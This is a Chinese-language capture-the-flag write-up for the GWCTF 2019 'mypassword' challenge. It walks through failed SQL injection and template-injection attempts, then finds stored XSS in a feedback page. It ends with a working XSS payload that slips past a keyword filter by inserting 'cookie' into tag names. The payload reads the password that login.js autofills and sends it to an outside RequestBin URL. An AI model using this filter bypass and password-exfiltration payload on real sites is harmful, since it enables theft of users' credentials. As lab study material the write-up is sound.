[GWCTF 2019]mypassword-做题记录
这题给了个朴实无华的登陆界面,有注册登录界面那肯定得试试sql注入,很遗憾没有试出来。
那就找找源代码看看有没有有价值的东西
只发现加载了一个login.gs,emem还是没发现有什么能用的,没办法那就注册一个号登录进去看看吧
登录进去主页面会有你的用户名可控,我就想会不会有啥ssti或者搞些标签进去,结果可想而知,<,>,{,},’,"这些符号应该被过滤了,那这题就不是这么玩的
去看看别的页面,feedback.php这里应该是可以提交信息,然后在list.php会显示出信息,感觉这里问题挺大的,那就继续试
点进去就会看到你输入的信息
看来他应该是把script给过滤掉了,我也在上面的id处尝试了下sql注入,没啥用,头疼,再试试别的。
函数执行不了,还是没啥用,但是这个<?php>没有显现出来,而是在源代码里,证明它并不是憨憨的把你输入的东西完整的打印出来,可以试试别的html标签,感觉有搞头
牛逼,点了后可以成功跳转,看来这里应该就是问题所在了,感觉有xss
然就不知道怎么做了,不懂怎么利用这里,找了个大佬的WP看看
卧槽,居然能过,长见识了,然后大佬试了个xss,也没成
再看看login.js的代码
if (document.cookie && document.cookie != '') {
var cookies = document.cookie.split('; ');
var cookie = {};
for (var i = 0; i < cookies.length; i++) {
var arr = cookies[i].split('=');
var key = arr[0];
cookie[key] = arr[1];
}
if(typeof(cookie['user']) != "undefined" && typeof(cookie['psw']) != "undefined"){
document.getElementsByName("username")[0].value = cookie['user'];
document.getElementsByName("password")[0].value = cookie['psw'];
}
用户名和密码都填入了表单
这时候就要介绍我们的http://http.requestbin.buuoj.cn
网址,(RequestBin提供了一个URL,该URL将收集对其发出的请求,首页点击create a requestbin)
构造POC
<incookieput type="text" name="username">
<incookieput type="password" name="password">
<scrcookieipt scookierc="./js/login.js"></scrcookieipt>
<scrcookieipt>
var psw = docucookiement.getcookieElementsByName("password")[0].value;
docucookiement.locacookietion="http://http.requestbin.buuoj.cn/rd45c1rd/?a="+psw;
</scrcookieipt
成功解决战斗